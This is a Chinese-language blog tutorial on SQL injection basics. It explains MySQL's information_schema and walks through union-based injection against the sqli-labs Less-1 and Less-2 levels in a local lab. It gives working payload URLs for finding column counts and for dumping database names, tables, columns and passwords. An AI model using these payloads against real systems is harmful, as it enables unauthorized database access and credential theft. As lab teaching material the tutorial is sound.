web安全之SQL注入始篇--基本概念和联合注入

本文介绍了SQL注入的基本概念,重点关注联合注入的攻击流程和实际应用。通过MySQL系统数据库的介绍,阐述了如何利用information_schema获取数据库信息。文中以Metasploitable2-Linux为例,展示了联合注入在GET和POST请求中的运用,并通过Less1和Less2的案例分析,展示了联合查询的步骤和技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

注入之始篇

-------------------------------------------------------关关爱学习----------------------------------------------
1、SQL注入的原理:

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

-------------------------------------------------------关关爱学习----------------------------------------------
2、MySQL系统数据库

SQL注入中最常见的为利用系统数据库,配合union联合查询获得数据库的相关信息。系统数据库:所有数据库的库名、表名以及列名的信息都在系统数据库。

系统数据库:information_schema中的三张表
1)information_schema.schemata表:提供了当前MySQL实例中所有数据库的信息;
2)information_schema.tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某表属于哪个schema,表类型,表引擎,创建时间等信息。
3)information_schema.columns表:提供了表中的列信息。详细表述了某表的所有列以及每个列的信息。

由上一篇MySQL数据库使用可知:sql注入时,想要得知某数据库信息,需知道数据库库名table_schema、数据库表名table_name、进而得知数据库的列名column_name。

-------------------------------------------------------关关爱学习----------------------------------------------
3、实际生活中,我们一般是不可能知道某一数据库的用户名和密码,无法得到数据库信息,所以只能在网页中通过SQL注入的方式来获取数据库信息。

基于Metasploitable2-Linux实现注入:打关卡!!!
在这里插入图片描述

-------------------------------------------------------关关爱学习----------------------------------------------
4、SQL注入的手法:

1)联合注入;
2)报错型注入;
3)布尔型盲注;
4)时间型盲注。

注入点:
get型
post型

-------------------------------------------------------关关爱学习----------------------------------------------

5、联合注入

联合注入的攻击流程:

1)判断浏览器提交数据和web服务器的交互方式:

  • get提交
    提交的数据在url中显示
  • post提交
    没有在url中显示
    2)预判数据库执行语句
  • select …
  • insert…
  • updata

  • 3)判断提交数据的闭合方式
    整形、‘’、“”、()、(‘’)、(“”)…
  • 快速判断闭合方式
    and 1=1 和 and 1=2
    ++ 如果是整形
    id = 1 and 1=2 //让提交数据为False(假),有交互数据显示则为整形,否则为str
    ++ 字符型
    id = 1 and 1 =2 //无交互显示,则进一步判断闭合方式
    4)构造语句打破闭合(整型不需要)
    5)构造联合查询判断输出位
  • 通过order by判断列数,建议使用二分法
  • select 1,2,3
  • 利用group_concat()函数把列转换为行输出

只有判断正确的列才能成功取出数据(原因是:联合查询需要列数一致)

http://192.168.99.152/sqli-labs-master/Less-2/?id=-1 union all select 1,2,3  //整形数据构造
http://192.168.99.152/sqli-labs-master/Less-1/?id=-1‘ union all select 1,2,3 --+ //字符型数据构造

sql构造语句常见示例

database() //爆数据库的函数

group_concat(table_name)  from information_schema.tables where TABLE_schema = 'your database'  //通过已知数据库爆出表名 

group_concat(column_name)  from information_schema.columns where TABLE_name = 'your table' and table_schema = 'your database' //爆出列名

group_concat(password),3 from users  //爆出数据

-------------------------------------------------------关关爱学习----------------------------------------------

联合注入实例:less1-4

讲解一下Less1和Less2,Less3、4同理可推

less1

  • 使用火狐浏览器:http://192.168.168.135/sqli-labs-master/Less-1/
    进入的页面显示为:
    在这里插入图片描述
    1)明显这是一个get提交的方式
    http://192.168.168.135/sqli-labs-master/Less-1/?id=1
    在这里插入图片描述
    2)预判数据库执行语句:select… //对数据进行查找
    3)判断闭合方式,并打破闭合:
#方法一:提前闭合注释法 --+
id=1 and 1=2     //页面没有特殊错误,所以不是整形
id=1' and 1=2 --+     //页面特殊错误  注意:--+ 代表注释符#号

在这里插入图片描述

 id=1' and 1=1 --+   //为了进一步判断是不是  '   闭合

在这里插入图片描述

#方法二:提前闭合补充法
http://192.168.168.135/sqli-labs-master/Less-1/?id=-1' and '1'='2

4)构造联合查询判断输出位和列数

id=-1' union all select 1,2,3 --+  #使id=-1,union之前的命令不执行,只输出union后的查询结果
#发现,显示位为后两位,即2,3位
#且列数为3位,若输入不是3位,则会报错
例如:Less-1/?id=-1' union all select 1,2,3,4 --+

在这里插入图片描述
5)进行sql注入

#通过显示位,查询当前数据库库名、以及数据库版本  
http://192.168.168.135/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),version() --+

在这里插入图片描述

#通过注入,获得数据库库名、以及通过已知数据库爆出表名 
#LIMIT 0,1  前面数字表示--第几行(从0开始),后面数字--步长
http://192.168.168.135/sqli-labs-master/Less-1/?id=-1 union all select 1,database(),(select table_name from information_schema.tables where table_schema='security' limit 0,1) --+

在这里插入图片描述

#group_concat()函数----将列转换为行输出
http://192.168.168.135/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1) --+

在这里插入图片描述

#通过已知数据库名和数据库表名,爆出列名
http://192.168.168.135/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name='referers' and table_schema='security' limit 0,1) --+

在这里插入图片描述

------------------------------------------------------关关爱学习----------------------------------------------

Less2

1)get提交方式;
2)预判数据库执行语句:select… //对数据进行查找
3)判断闭合方式,并打破闭合:

#判断为整型
http://192.168.168.135/sqli-labs-master/Less-2/?id=1 and 1=2

在这里插入图片描述
4)构造联合查询判断输出位和列数


http://192.168.168.135/sqli-labs-master/Less-2/?id=-1 union all select 1,2,3

5)进行注入
与第一关操作相同,可爆出想要数据!!!
-------------------------------------------------------关关爱学习----------------------------------------------

后面篇章会详细讲解剩下注入手法!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值